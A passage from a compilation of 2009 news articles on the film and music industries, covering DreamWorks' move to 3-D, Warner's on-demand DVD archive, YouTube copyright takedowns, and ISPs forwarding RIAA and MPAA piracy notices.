money. Without the DVD back end to count on, studios are recalibrating budgets, demanding leaner talent deals and asking producers to do more with less. During a recent interview tied to his movie "Confessions of a Shopaholic," the producer Jerry Bruckheimer said: "You can set the tone for a big movie just by showing some huge vistas or something at the beginning. There are all kinds of tricks we will have to use." Mr. Abraham, who is also working on a remake of "Creature From the Black Lagoon," agreed, but said he saw studios moving more into medium-size pictures rather than trying to cut back too much on behemoths like "Pirates of the Caribbean 4," which Mr. Bruckheimer has in the works. "Trying to change a project to fit a supposed DVD number is like hitting a trifecta," he said. "Not something I would suggest doing." http://www.iht.com/articles/2009/03/...ogy/film23.php The Creatures That Jumped Off the Screen Brooks Barnes WHEN Rob Letterman and Conrad Vernon signed up as directors of “Monsters vs. Aliens,” the latest computer-generated spectacle from DreamWorks Animation, they were jittery about all the usual things: telling a good story, rounding up the celebrity vocal talent, surviving a four-year production process without suffering a nervous breakdown. Then Jeffrey Katzenberg hurled a curveball at them. After work on the movie was well under way, Mr. Katzenberg, DreamWorks Animation’s chief executive, informed the pair that they would also need to deliver the movie in 3-D. “We were totally taken aback,” Mr. Vernon said, sitting in a conference room at DreamWorks headquarters here. “I didn’t sign up to do something garish.” Lisa Stewart, a producer of the film, was equally rattled, recalling how 3-D effects of the past could make people feel woozy. “I just remember thinking, ‘Oh, great, I’m going to have a headache for the next two and a half years,’ ” she said. The DreamWorks team associated 3-D with “Captain EO,” the 1980s-era Disneyland attraction, long since closed, that starred Michael Jackson as a space explorer. Stuffed with 3-D gimmicks that extended from the screen into the audience — lasers, smoke, flying fuzzy aliens — that film, directed by Francis Ford Coppola with George Lucas as executive producer, defined cinematic cheese for a generation of Hollywood creative types. But Mr. Katzenberg had an artistic justification for using 3-D in “Monsters vs. Aliens,” which barrels into theaters on Friday. The story, about monsters who unite to save Earth from alien destruction, was designed as a homage to the “creature features” of the 1950s and ’60s. And Mr. Letterman and Mr. Vernon were already turning to 3-D movies like “Creature From the Black Lagoon” for inspiration. Mr. Katzenberg has staked the company’s future on the format; starting with “Monsters vs. Aliens” every movie it makes will be done in 3-D. Because of advances in digital technology, he told the directors that 3-D was no longer just a gimmick for reaching out and tickling (or scaring) the audience from time to time. Rather, building a film from the ground up in 3-D — as opposed to making a two-dimensional version and adding effects later, the way most old releases did it — could result in a dazzling new visual language. Fans of the new technology say it’s the modern-day equivalent of adding sound or color to a motion picture. The eye naturally sees in 3-D, so adding depth to the images on screen delivers a more immersive and realistic experience. And the nauseated feeling is a thing of the past: new projection equipment and improved glasses have eliminated the headaches and dizziness. (In an interview Mr. Katzenberg recalled bluntly assuring the filmmakers that this was true. “I’m pretty sure that no business can succeed in which it makes the customer hurl,” he said he told them.) Mr. Katzenberg, of course, also saw a business opportunity. Tickets for 3-D screenings can be sold for a premium. It would also be harder to pirate DreamWorks movies: sneaking a camcorder into a theater — which is the way most bootleg DVDs are born — wouldn’t work at a 3-D screening. And 3-D was a way of standing out in a marketplace increasingly cluttered with computer-animated movies, as “Coraline” recently demonstrated with surprisingly strong box-office returns. So the “Monsters vs. Aliens” squad headed out to learn about 3-D. The story they were attempting to adopt focuses on Susan (voiced by Reese Witherspoon), a small-town simpleton who gets hit by a meteor at her wedding and grows to be 49 feet 11 inches tall. A hard-boiled monster wrangler, General W. R. Monger (Kiefer Sutherland), hauls the newly named Ginormica away to a secret monster prison, where she meets the gang, which includes Dr. Cockroach, a brilliant scientist with a roach head (Hugh Laurie); the fish-ape hybrid Missing Link (Will Arnett); and Bicarbonate Ostylezene Benzoate, or B.O.B. (Seth Rogen), a turquoise blob formed when scientists tried to combine a genetically altered tomato with a ranch-flavored dessert topping. Although Mr. Katzenberg had pitched 3-D as a grown-up creative form, the artists, directors and producers working on the project discovered that they were very much walking on Bambi legs. “It was like they were doing their job in English before and we suddenly wanted them to work in Russian,” Mr. Katzenberg said. Mr. Letterman and Mr. Vernon started by asking for a tutorial from John Bruno, the Oscar-winning visual effects designer (“The Abyss”) who collaborated with James Cameron in 1996 to make “T2 3-D: Battle Across Time,” a theme park attraction for Universal Studios Hollywood. “That calmed us down a lot,” said Mr. Vernon, whose other directing credits include “Shrek 2.” “John told us that we already knew how to think in 3-D by trying to show depth and movement in a two-dimensional medium.” Ms. Stewart studied “Beowulf,” the 2007 Robert Zemeckis picture that uses three-dimensional storytelling. She said the lingering camera shots in that film taught her that a 3-D movie could not cut as quickly from image to image for reasons of eye strain. “It’s so visually rich that you need to account for people wanting to stare at the screen and move their eyes around the frame,” she said. The animators also learned that corner-cutting tricks, like leaving out detail in the far background of scenes, didn’t work so well in 3-D. They compensated by experimenting with focus and lighting but ultimately needed to devote much more time (and thus money) to background details like trees and distant buildings. “We had to put more of something back there because suddenly it was very prominent,” Ms. Stewart said. The computer science involved was not that exceptional, Mr. Katzenberg said: “It’s just a matter of putting a few more resources in.” DreamWorks developed proprietary computer programs to help its artists work in the medium, boosting production costs by about $15 million per film. Mr. Katzenberg had wanted to release the movie on at least 5,000 3-D screens. But because fewer movie theaters than expected have completed the expensive projector upgrades the format requires, “Monsters vs. Aliens” will roll out on about 2,000 3-D screens in North America (out of a total of 7,000). That’s still enough to cover the added production expenses, Mr. Katzenberg said. The finished movie feels very much like a DreamWorks product, with the studio’s sophomoric sense of humor — an underwear pull here, a breast joke there — especially pronounced. The 3-D is somewhat startling at first, which Ms. Stewart said was intentional. The movie quickly moves from a scene in outer space — despite the title, there is really only one alien, Gallaxhar (Rainn Wilson) — to the destruction of the Golden Gate Bridge. “We wanted to blow people’s minds into deep space right from the start,” she said. Although Mr. Katzenberg had promised that 3-D would not be used as a gimmick, DreamWorks ultimately couldn’t help itself. When the film was nearly finished, Mr. Katzenberg asked the creative team to add some more 3-D “pow,” according to Mr. Vernon. Most of that pow was tooled back — B.O.B.’s lone eyeball no longer rolls out into the audience, and debris from explosions doesn’t land in the front row — but they kept one at the beginning of the movie: a paddleball sequence. “That was basically us telling the audience, ‘Look what we could do to you, but we’re going to control ourselves’ ” Ms. Stewart said. http://www.nytimes.com/2009/03/22/movies/22barn.html Warner Bros. Brings Film Vault Into Digital Age AP Warner Bros. is reaching into its film vaults so it can sell old movies on made-to-order DVDs, in a move it hopes will goose sales of a vital product in a downturn. Starting Monday, the studio will sell copies of 150 films from the silent era to the 1980s Brat Pack that have never been released on DVD. Internet downloads of the movies will cost $14.95, while DVDs sent in the mail are $19.95. Both can be ordered at www.warnerarchive.com. The initiative, which Warner claims is the first of its kind for a major studio, is an effort by the Time Warner Inc. subsidiary to combat what could be a fundamental decline in demand for DVD purchases -- a falloff that can be blamed on market saturation as much as the recession. Walt Disney Co. CEO Bob Iger warned of this shift last month when he noted that most U.S. households own 80 DVDs already, leading people to become ''more selective'' about what discs they buy. U.S. DVD spending fell 7 percent last year, to $21.6 billion, according to The Digital Entertainment Group, an industry consortium. While high-definition Blu-ray disc spending nearly tripled, it represented a small slice of the market, at $750 million. Now retailers are cutting back shelf space for DVDs. And digital downloads have come nowhere near to making up the difference, said Tom Adams, president of Adams Media Research, who doesn't predict overall growth in home video until 2010. Home video revenues are a key profit driver for the studios -- in some cases, accounting for 60 percent more money than what a studio collects at the box office. So the recent decline has forced studios to do everything from lay off staff to pare back movie making. Warner's decision to open up its vault ''sounds like it's a risk-free way for them to generate a little money on some very old content,'' Adams said. By making the DVDs only when the movies are ordered by a customer, Warner doesn't have to worry about filling up a warehouse with inventory that struggles to sell. Many of the titles Warner is releasing in the new venture have made the rounds on another Time Warner subsidiary, the Turner Classic Movies cable channel, and on VHS. But the studio will keep mining a 6,800-feature film library, amassed when Ted Turner bought Metro-Goldwyn-Mayer's archive in 1986, which in turn was bought by Time Warner a decade later. Twenty more films or TV shows will be added to the program of re-releases each month, with 300 expected by year's end. To put it in perspective, the studio has released only about 1,100 movies on DVD since the technology was spawned 12 years ago. ''There are still thousands of movies that we own that consumers haven't been able to get,'' said George Feltenstein, senior vice president of theatrical catalog marketing for Warner Home Video. ''I expect that we'll be selling thousands of copies of every title over a period of time, and making a lot of people really happy.'' Titles include ''The Mating Game'' (1959), starring Debbie Reynolds, and a string of Cary Grant flicks from ''Mr. Lucky'' (1943) to ''Once Upon a Honeymoon'' (1942). There's also ''Wisdom,'' a modern-day Robin Hood tale from 1986 starring Emilio Estevez and Demi Moore. Reynolds noted that in the past, the only way to watch some old films was to have a projector at home and obtain a bootleg copy. She said fans have been asking her to get some of her films on DVD, like ''The Daughter of Rosie O'Grady'' (1950), which is expected in a later batch of releases. ''I was a girl that was raised with radio and I had to go to the theater to see movies,'' said Reynolds, 76, during an interview in a screening room on the Warner lot. ''Now you get to see everything at home on a DVD. It just seems like a miracle that it can be done this way.'' Robert Crawford, a 53-year-old auto worker in Saginaw, Mich., expects to use the new Warner program to add to his 5,000-disc collection, a mix of Blu-ray discs and DVDs. He bubbled at hearing of upcoming releases such as ''Beast of the City'' (1932) starring Walter Huston and Jean Harlow, or ''Rasputin and the Empress'' (1932), which features three Barrymore siblings, including modern ''Charlie's Angels'' actress Drew Barrymore's grandfather, John. ''Some of these films I've been waiting on for years,'' said Crawford. ''Let's face it, Best Buy doesn't carry every title, neither does Wal-Mart. They don't have the shelf room.'' http://www.nytimes.com/aponline/2009...-Archives.html Released on Web, a Film Stays Fresh Brian Stelter The activist filmmaker Robert Greenwald has tried for years to speed up the production process for his documentaries. Now, he says, he is creating one he can release almost immediately, in stages. Mr. Greenwald is showing “Rethink Afghanistan,” a skeptical view of America’s war strategies, in five parts on the Internet, with the implied hope that it will contribute to the foreign policy debate. With the first two parts of the film already online, he arrived in Afghanistan on Sunday to conduct more interviews for what he calls his first “real-time documentary.” Mr. Greenwald is well known in some progressive circles for his films about war profiteers, Wal-Mart’s corporate practices, and the Fox News Channel. His company, Brave New Films, uses documentary expertise to mount political campaigns, including a YouTube series last year about John McCain and what the company called “the politics of hate.” “Rethink Afghanistan” is being shapeed both as a film and a campaign at the same time. Mr. Greenwald is already posting installments on the film’s Web site, RethinkAfghanistan.com, and also on YouTube. It will eventually be stitched together into a full-length feature. As he has done in the past, Mr. Greenwald will take his finished film to the public using a mixture of DVD sales and house parties. He said he also expected to receive some theatrical distribution. “We will keep adjusting it as events in the news change and as policy changes,” Mr. Greenwald said in an telephone interview last week before he departed for Kabul, the Afghan capital. The film’s Web site asks supporters to call for oversight hearings on the United States policy in the region. By producing his film-and-activism campaign at an accelerated pace on the Internet, Mr. Greenwald is capitalizing on new technology that allows filmmakers to produce their work more swiftly. Timeliness is of the essence in releasing a documentary about public policy. Films like Michael Moore’s “Fahrenheit 9/11” have chronicled events that took place within a year of their release. But Mr. Greenwald, a longtime television and feature film director, said that as he spent more time in the documentary realm, he realized that even the one-year turnaround seemed too long for his films. In June 2003, when he started “Uncovered: The War on Iraq,” a documentary about the reasons for the war, Wes Boyd, a co-founder of the liberal group MoveOn.org, asked Mr. Greenwald whether the project could be completed in a month. That, he said, was when the time question first really hit him. It wound up taking five months to finish a short version of the documentary, and a longer version of “Uncovered” was produced for theaters and film festivals by mid 2004. Over the years, Mr. Boyd said, Mr. Greenwald “has done a remarkable job in ramping up production speed, overall capacity, and quality.” It helps that the Internet increasingly serves as a global distributor for video. No distributor “moves at the speed of YouTube,” Mr. Greenwald said. His current subject, Afghanistan, is especially time sensitive. President Obama has already ordered 17,000 more troops to the country and is on the verge of outlining a new strategy. Given that backdrop, “it didn’t seem to make sense to make a film that would come out even six months from now,” Mr. Greenwald said. The first part of the film, a 12-minute section titled “More Troops + Afghanistan = Catastrophe,” reflects the filmmaker’s opposition to a troop escalation. The second part examines the role that Pakistan plays in the region. Editing of the second part continued until moments before it was uploaded to YouTube on Thursday. Later parts will address the other issues, including casualties and terrorism. Mr. Greenwald said the chapters of the film would seek to raise a series of questions about the war in Afghanistan: “How many troops? How long? How much is this going to cost? What is the end mission?” In Afghanistan he plans to interview Afghan politicians, former Taliban officials and members of the country’s peace movement. While he is there, he plans to record video blogs with updates about his trip. Meanwhile, back in California, his production staff will be working on Part 3 of the film. Owing to the shoe-string nature of operation, the production company is also asking for donations for the trip, even as it takes place. “It’s an interesting juggling act, Mr. Greenwald said, “between researching to find people, interviewing the people, editing the pieces, seeing what is happening in the news — and raising funds at the same time” http://www.nytimes.com/2009/03/23/movies/23gree.html As Rights Clash on YouTube, Some Music Vanishes Tim Arango In early December, Juliet Weybret, a high school sophomore and aspiring rock star from Lodi, Calif., recorded a video of herself playing the piano and singing “Winter Wonderland,” and she posted it on YouTube. Weeks later, she received an e-mail message from YouTube: her video was being removed “as a result of a third-party notification by the Warner Music Group,” which owns the copyright to the Christmas carol. Hers is not an isolated case. Countless other amateurs have been ensnared in a dispute between Warner Music and YouTube, which is owned by Google. The conflict centers on how much Warner should be paid for the use of its copyrighted works — its music videos — but has grown to include other material produced by amateurs that may also run afoul of copyright law. “Thousands of videos disappeared,” said Fred von Lohmann, staff lawyer for the Electronic Frontier Foundation, an Internet civil liberties group that asked affected YouTube users to contact it. “Either they turned off the audio, or they pulled the video.” A spokesman for Warner Music said that YouTube’s system for identifying copyrighted material does not distinguish between professionally made music videos and amateur material that may include copyrighted works. “We and our artists share the user community’s frustration when content is unavailable. YouTube generates revenues from content posted by fans, which typically requires licenses from rights holders. Under the current process, we make YouTube aware of WMG content. Their content ID tool then takes down all unlicensed tracks, regardless of how they are used,” said Will Tanous, a spokesman for Warner Music. In addition to Ms. Weybret’s video, family home videos that included a portion of a song playing in the background have been removed, as have any number of videos that use music in goofy ways, from montages to mash-ups. When a man posted a video of himself using music to teach sign language, the audio was switched off because he lacked the proper copyright clearance to use Foreigner’s 1980s song “Waiting for a Girl Like You.” More broadly, however, the takedown notices are a glaring example of the rising tensions between Internet sites that distribute content free and owners of copyrighted material. In late December, Warner and YouTube failed to agree to terms on a new licensing deal that would have paid Warner a cut of advertising revenue in exchange for permission to stream the music company’s videos. Warner then began having its music videos removed from YouTube. The site has licensing deals with the other major music companies, and had a deal with Warner for two years before the recent impasse. The situation with Warner has created a double-barreled risk for YouTube. Professionally produced music videos are some of its most-watched material — six of the top 10 most popular videos of all time are music videos, and the most-watched video ever on YouTube is not a bulldog on a skateboard, but an Avril Lavigne video, with more than 117 million views. (The skateboarding bulldog, by contrast, has almost 6.8 million views.) YouTube more recently began blocking music videos from all companies from its site in Britain after failing to reach terms with PRS for Music, a group that collects royalties on behalf of singers and songwriters. Keeping a steady supply of music videos on its site is important to YouTube’s effort to increase the flow of advertising dollars. At the same time, the site’s cachet relies on being a place where users like Ms. Weybret can freely display their own material. Google does not disclose advertising revenue for YouTube, and estimates among analysts range widely, from $200 million to $500 million a year. Ms. Weybret says she has been hesitant lately to use YouTube as an outlet for her musical talents. “I’m kind of nervous now about putting up covers,” said Ms. Weybret, 15, who plays in a band with her friends called the Knockouts. The question for the two sides is, who will users blame — YouTube or the record label, in this case Warner? “I feel like the public’s perception of the record labels is so hostile that YouTube will be able to deflect any complaints,” said Phil Leigh, a new media analyst who runs Inside Digital Media, a consulting firm. Chris Dale, a spokesman for YouTube, said, “While we work with music labels to keep music on the site, sometimes our negotiations don’t pan out, and we understand that this can be a big disappointment to our community.” Mr. Dale said that YouTube offers users the chance to dispute a copyright claim, or use a feature of the site to swap in a new track to replace the offending song. The situation has raised anew questions about the meaning of fair use under copyright law in the context of the digital age, when anyone can easily excerpt copyrighted works and distribute the result in a manner that is sometimes hard to identify as being a commercial product. Last year Dustin McLean, who works as an animator on Current TV’s comedy show “Super News,” posted a video of A-Ha’s 1980s hit “Take On Me.” But it was Mr. McLean singing, not the real lyrics but about what was actually happening in the video. He got two million views in three months, and a new genre was born, called “literal videos.” “It was just a silly idea,” he said. When the video was removed, he said, “fans started e-mailing me and asking, ‘why did you take down your video?’” His videos can now been seen on funnyordie.com or his own site, dustfilms.com, and so far he has been free from the copyright police. The law provides a four-point test for the fair use of copyrighted works, taking into account things like the purpose, the size of an excerpt and the effect the use might have on the commercial value of the actual work. The body of law is ever-evolving, and each era and technology seems to force new interpretations. In the 1960s, for example, the Zapruder film, the home movie that captured the Kennedy assassination, was bought and copyrighted by Time magazine. But a judge denied that it could be a copyrighted work because of its value to the public interest. Many of the offending videos of the user-generated variety like Ms. Weybret’s — as opposed to copies of music videos produced by Warner and its artists — would fall under fair use, according to Mr. von Lohmann, because they are noncommercial and include original material produced by the user. Others, including Warner Music’s lawyers, might argue that the videos, while themselves created for noncommercial purposes, are nevertheless being shown on YouTube, which is a moneymaking enterprise. Referring to Ms. Weybret, Ben Sheffner, a copyright lawyer in Los Angeles who has worked on antipiracy at the 20th Century Fox movie studio, said, “From her perspective it’s completely noncommercial because she’s not making a dime. But from another perspective it’s entirely commercial because Google is trying to make money off it.” Users have the right to dispute a takedown. But few have. “People are somewhat intimidated by the possibility of being sued by one of the music companies, even if they have a free lawyer, like us,” Mr. von Lohmann said. http://www.nytimes.com/2009/03/23/bu.../23warner.html YouTube Being Blocked in China, Google Says Miguel Helft Google said Tuesday that its YouTube video sharing Web site was being blocked in China. The company said it first noticed traffic from China had decreased dramatically late Monday. By early Tuesday, it had dropped to nearly zero, the company said. “We don’t know the reason for the block,” a YouTube spokesman, Scott Rubin, said. “Our government relations people are trying to resolve it.” China routinely filters Internet content and blocks material that is critical of its policies. It selectively blocks videos from YouTube. According to Reuters, Chinese government officials said Tuesday that they did not know about YouTube being blocked, but said that China was not afraid of the Internet. “Many people have a false impression that the Chinese government fears the Internet. In fact it is just the opposite,” a foreign ministry spokesman Qin Gang told reporters, according to Reuters. Access to YouTube had been intermittent earlier in March, on the first anniversary of protests by Tibetans against Chinese rule. Last week, the Tibetan government in exile in Dharamsala, India, released a seven-minute video, which is being shown on YouTube, that purports to show Chinese police officers brutally beating Tibetans last March following the riots in Lhasa. There has been no independent confirmation that the footage is authentic. http://www.nytimes.com/2009/03/25/te.../25youtube.htm AT&T First to Test RIAA Antipiracy Plan Greg Sandoval AT&T, one of the nation's largest Internet service providers, confirmed on Tuesday the company is working with the recording industry to combat illegal file sharing. At a digital music conference in Nashville, Jim Cicconi, a senior executive for AT&T told the audience that the ISP has begun issuing takedown notices to people accused of pirating music by the Recording Industry Association of America, according to one music industry insider who was present. In December, the RIAA, the lobbying group of the four largest recording companies, announced the group would no longer pursue an antipiracy strategy that focused on suing individuals, but rather would seek the help of broadband providers to stem the flow of pirated content. The RIAA said an undisclosed number of ISPs had agreed to cooperate but declined to name them. In January, CNET News reported that AT&T and Comcast were among the group. Representatives of the RIAA and AT&T could not be reached late Tuesday evening for comment. Cicconi told attendees of the Leadership Music Digital Summit that the notices are part of a "trial." AT&T wants to test customer reaction, he said. Whether AT&T included any warnings that repeat offenders would see their service suspended or terminated is still unclear. Music industry sources said AT&T told managers at the top labels the trial letter would include strong language about the consequences of illegal conduct, but would stop short of mentioning service interruptions. This is important because the RIAA has said that repeat offenders faced the possibility of losing service--at least temporarily--as part of the music industry's "graduated response" plan. AT&T's test is likely the first stage in what promises to be a long and drawn out process of turning ISPs into copyright enforcers. ISPs have traditionally tried to stay out of the fray between the big entertainment companies and those who download music illegally. They remain squeamish about the possibility of alienating customers, according to music industry sources. The ISPs also don't like plans that call for them to cut off access and chase away a source of income. http://news.cnet.com/8301-1023_3-10203799-93.html Comcast, Cox Cooperating With RIAA in Antipiracy Campaign Greg Sandoval The Internet service providers that have agreed to work with the recording industry to battle illegal file sharing are starting to come forward. Joe Waz, a senior vice president at Comcast, the nation's second largest ISP, told a gathering of music industry executives that the company has issued 2 million notices on behalf of copyright owners, according to multiple people who were in attendance. Comcast said Wednesday afternoon that the 2 million notices Waz referred to were part of the company's standard practice and not a new policy. "Comcast, like other major ISPs, forwards notices of alleged infringement that we receive from music, movie, videogame, and other content owners to our customers," Comcast said in a statement. "This is the same process we've had in place for years--nothing has changed. While we have always supported copyright holders in their efforts to reduce piracy under the Digital Millennium Copyright Act (DMCA), and continue to do so, we have no plans to test a so-called 'three-strikes-and-you're-out' policy." Waz made the comments Tuesday while part of a panel at the Leadership Music Digital Summit in Nashville. This was the same event where an AT&T executive told the gathering that the nation's largest ISP was cooperating with the Recording Industry Association of America by sending notices to customers accused of illegal filing sharing. The letters are part of a trial program, the executive told the audience. In addition, sources confirmed that Cox Communications is also assisting the RIAA in the group's new campaign to use ISPs to help discourage consumers from pirating songs. In December, the RIAA shocked music fans by announcing the termination of a years-long strategy of filing copyright lawsuits against individuals. Instead, the lobbying group for the major recording companies would seek the help of Internet providers. The RIAA said it had lined up a group of large ISPs to help, but declined to disclose which ones or how many. To copyright owners, the shift in strategy is a victory. For a long time, people in the music and film industries have complained that broadband providers were profiting from piracy. Many in the entertainment industry have called on ISPs to lend a hand in plugging up the flow of illegal content. To those who advocate for Internet users, however, any plan that threatens to shut off someone's Internet access without hard evidence is unfair. RIAA leaders have said that the group's graduated response program would include punitive action for repeat offenders, which could include suspension or even termination of service. RIAA managers say they support due process to protect people from being falsely accused. But what the due process looks like has yet to be determined. Comcast was careful to state that it isn't considering terminating customers' service. An AT&T spokeswoman said that the ISP has not threatened anyone with the disabling of service but acknowledged that warning letters sent to customers, the company says it reserves the right to terminate service. She said the company sends a letter from the RIAA and adds its own cover letter. The company informs the customer that the problem could be that a teenager in the home has downloaded unauthorized material or that someone else is doing so via an unsecured Wi-Fi connection. As far as Cox is concerned, the practices that the RIAA is asking ISPs to adopt have been standard since the Digital Millennium Copyright Act was passed in 1998. The company acknowledges that it will, in the case of chronic offenders, shut off service. A Cox spokesman said this about the company's policy: Quote:
There's data to support the claim that warning notices work. In the United Kingdom, research done by Wiggin and Entertainment Media Research found that seven out of 10 people surveyed said they would stop downloading unauthorized content if they received a notice from their ISP. http://news.cnet.com/8301-1023_3-10204047-93.html Your ISP Hates You: AT&T and Comcast Confirm They're Working With RIAA Matt Buchanan Remember how the RIAA was getting ISPs to help battle copyright infringers after they gave up lawsuits, and AT&T was all "no comment"? Now AT&T and Comcast admit, yep, they're working with the RIAA. AT&T says they're not doing any of the actual spotting—the RIAA is handling that part—they're just "forwarding notices from content providers to our customers" to edumacate them. Cnet's Greg Sandoval reports that a Comcast executive not only confirmed their part of the RIAA's new buddy group—which includes AT&T, Comcast and Cox—but said that they've sent customers two million warning notices about infringement. What happens if you ignore AT&T's notices? Will they disconnect you? Here is their lovely wishy-washy answer that really doesn't say anything at all: "We are not suspending or terminating our customers' service. With that said, we do refer customers to our Acceptable Use Policy, which governs use of our service." Just keep in mind, it's the same AT&T that was plotting a massive, intelligent anti-piracy dragnet that would sweep their entire network for pirated content. Probably not a distinction they want, but since they're the only major ISP that's not seriously clamping down on bandwidth usage and hanging out with the RIAA at bars, Verizon still looks like the best ISP around for people moving around less-than-legally shiny material (i.e., everyone on the internet), especially if you get FiOS. [Cnet via CrunchGear] http://i.gizmodo.com/5184271/your-is...king-with-riaa AT&T Exec: ISP Will Never Terminate Service on RIAA's Word Greg Sandoval Jim Cicconi, a senior executive vice president at AT&T, says much has been written about his company's relationship with the music industry and some of it is flatly untrue. This much at least Cicconi wants customers to understand: "AT&T is not going to suspend or terminate anyone's policy without a court order." On Tuesday, Cicconi told attendees of the Leadership Music Digital Summit that the ISP has begun issuing warning notices to people accused of pirating music by the Recording Industry Association of America. The RIAA, the trade group representing the four largest music labels, said in December that it had received cooperation from some large Internet service providers. CNET reported Wednesday that besides AT&T, Comcast and Cox Communications were also working with the music industry. There has been some confusion about what the RIAA's graduated response program involves. The program could include suspension or termination of service for repeat offenders. It's up to the ISP to decide. But there are also other forms of escalating responses, such as the sending of multiple letters. Some of the notices could take a stronger tone or perhaps the ISP might follow up with a phone call. Ideally for the the RIAA, the graduated response would culminate in a temporary suspension of the account for chronic offenders. Some ISPs have balked at that step, but the RIAA is still encouraged by discussions it's had with the ISPs so far. "We're pleased to be in constructive discussions with several ISPs," said an RIAA spokesman. "We're making important progress, and doing so in a manner consistent with everyone's respective priorities. We're grateful that some of the industry's leading executives came to Nashville and talked through these important issues." CNET News reported Tuesday evening that Cicconi said AT&T had begun issuing warning notices to people accused of pirating music by the RIAA. The Digital Millennium Copyright Act of 1998 has mandated that ISPs forward those letters to people accused of violating copyright. But AT&T has begun sending its own "cover letter" along with the RIAA's cease and desist notice, according to a company representative. Cicconi confirmed on Wednesday that those letters began going out last week. CNET also reported that in the notices sent to customers was language informing them that the company had the right to terminate service. Cicconi again confirmed that, but said the clause wasn't much more than legal boilerplate. "It's a standard part of everybody's terms of service," Cicconi said. "If somebody is engaging in illegal activity, it basically gives us the right to do it...We're not a finder of fact and under no circumstances would we ever suspend or terminate service based on an allegation from a third party. We're just simply reminding people that they can't engage in illegal activity." Cicconi said the company began testing this kind of "forward noticing" late last year and even experimented with sending certified letters. Cicconi said the notices worked. The company saw very few repeat offenders. The RIAA is encouraging ISPs to strengthen their responses to piracy. Some ISPs, such as Cox, says it had already implemented a policy very similar to what the RIAA is asking for. Comcast said Wednesday afternoon that it hasn't changed its policy. An executive who spoke at the same conference as Cicconi told the audience that the company has sent 2 million notices on behalf of content owners. A company representative said the company has no plans to test "a so-called 'three-strikes-and-you're-out' policy." But music industry sources told CNET that Comcast has agreed to cooperate with the RIAA in other ways. But what happens to chronic offenders? Cicconi said that his company will only send notices and that if a content owner wants more done, they need to see a judge. "What we do is send notices and keep track of violations and IP addresses," Cicconi said. "It's our view that any stronger action has got to rest with the copyright owner...That's what the courts are there for." Cicconi raises some important questions. How many ISPs are willing to cut off a customer's Internet connection without a court order, and how effective is the RIAA's graduated response program without one? http://news.cnet.com/8301-1023_3-10204514-93.html RIAA, MPAA Copyright Warnings: Facts and Fiction Ernesto This week several scary stories surfaced about how the MPAA and RIAA are negotiating with ISPs on how to deal with copyright infringers. Even though it was often presented as news, those who look deeper will realize that this is nothing new at all, just the same old threats dressed up in a new jacket. It’s has been a good week for the entertainment industry lobbyists. Hundreds of news outlets wrote in detail about how the RIAA and MPAA are negotiating with Internet service providers to warn alleged copyright infringers. No one seemed to notice that this isn’t really news as they’ve been working together for years, with ISPs passing on warnings to their customers on behalf of the studios. It all started with rumors about two US ISPs, Comcast and AT&T, who were said to be doing a three-strikes deal with the RIAA. It soon became known that this rumor was completely fabricated, but not before hundreds of other news oulets reproduced the story. At the end of the week it turned out that there was no news at all. Yes, the RIAA, MPAA and other outfits do plan to send copyright infringement warnings to ISPs, but they’ve been doing so for at least half a decade. Every other month these Hollywood lobbyists pitch their anti-piracy efforts to the public, and that’s exactly what they are paid for. This doesn’t mean, however, that something is about to change. The anti-piracy outfits are happy with all the free publicity of course, that is exactly what they are after. Their purpose is to scare people. In this post we hope to clear up some of the misunderstandings, as we show that the scary stories published this week have no substance at all. Copyright infringement warnings? For years, content owners such as record labels or movie studios have been sending copyright infringement notices to ISPs, who are legally obliged to forward these to their customers. Some ISPs simply ignore them, while others faithfully forward the emails to the customer account associated with the infringing IP-address. Many ISPs don’t keep records of these events. So, is my ISP spying on me? No. This is a common misunderstanding. ISPs don’t look into your specific downloading behavior, they never have and there is no indication that this will change anytime in the near future. All the ‘evidence’ comes from organizations that work for the copyright holders. What do they know about me? If you receive a warning, all copyright holders know about you at this stage is your IP-address and what files were (partially) shared via your account, or more accurately - the bill payer’s account. The MPAA, RIAA and others don’t know your name and they never will unless they get a court order forcing your ISP to hand over the information. In the bigger picture, this is very rare. How did they track me down? The copyright holders hire companies such as BayTSP and DtecNet to track down people who share certain titles on BitTorrent and other file-sharing networks. They join the swarm and request files from others. When someone shares a piece of the file with them they log the IP-address, look up the ISP and send out a copyright infringement notice automatically. Unlike the file-sharers, these companies are authorized to download these files, so they are not infringing copyright themselves. Will I get sued if I receive a warning through my ISP? No. These copyright infringement warnings are not related to any legal action. Copyright holders do go after people who share their work on file-sharing networks, but this has nothing to do with the warnings they send out via ISPs. Will they take my Internet away? No. Although there is a lot of talk about “three strikes” policies, no ISP has agreed (or was forced) to disconnect users after they receive their third warning. In New Zealand they came close to implementing a law that would require ISPs to do this, but this proposal was pulled. In France they are also considering three strikes legislation, but this has not passed into action yet. In Ireland the largest ISP Eircom said it would disconnect repeated infringers only if they receive a court order. It is worth mentioning though that ISPs may cut off people whenever they think it’s necessary. Cox does this in the US for example, without an agreement with the MPAA or RIAA. ISPs have terms and conditions and most forbid copyright infringement, but really this is just to cover their own backs under the law. Do I have to be worried? Receiving a regular infringement notice is nothing to be worried about. However, if you download copyrighted files without authorization from the copyright holder you are breaking the law in some countries. If you receive a warning without having shared anything yourself (which happens quite often) then there’s nothing to worry about. Can I protect (hide) myself? If you don’t want to be spied on when using BitTorrent the best option is to hide your IP-address. You can do so by subscribing to a VPN service or by using software such as TorrentPrivacy. Blocklist software such as PeerGuardian is often recommended, but it is also highly ineffective as the lists are never fully up-to date or accurate. What’s the point in all this? The MPAA and RIAA don’t want their products on file-sharing networks and they use these warning emails to deter people from sharing these files with others. Since it’s much cheaper (and effective) than suing people, this is now their strategy of choice. Using news outlets to spread their doom and gloom scenarios is just part of their operation. In the future the amount of warnings they send out to alleged infringers will increase and the studios and ISPs will work together to keep the associated operating costs down, if that’s not what they’ve already been doing in their recent meetings. It’s just the old model, scaled up with a rumor or two on top. Let’s move on already. http://torrentfreak.com/riaa-mpaa-co...iction-090328/ iiNet Faces the Music in Landmark Case Asher Moses iiNet is steadfastly refusing to admit that any of its users engaged in illegal downloading, despite forensic evidence presented by movie studios that apparently shows the date and time of thousands of individual copyright infringements. In the Federal Court today, where iiNet is being sued in a landmark case by seven major movie studios and the Seven Network for allegedly permitting customers to download movies illegally, iiNet's lawyers said they would clarify their position on the issue by next Wednesday. However, they foreshadowed possible arguments that infringements did not occur, by questioning whether transferring files over BitTorrent on a "one-to-one" basis was equivalent to making them "available to the public" under copyright law. They also claimed that, because files are broken up into tiny "packets" before being sent over BitTorrent, this may not be enough to suggest a "substantial portion" of a copyrighted file was distributed. The movie studios' lawyers argued that this is 